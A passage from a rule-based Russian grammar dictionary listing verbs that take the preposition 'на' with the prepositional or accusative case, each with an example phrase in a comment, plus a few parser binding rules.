rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
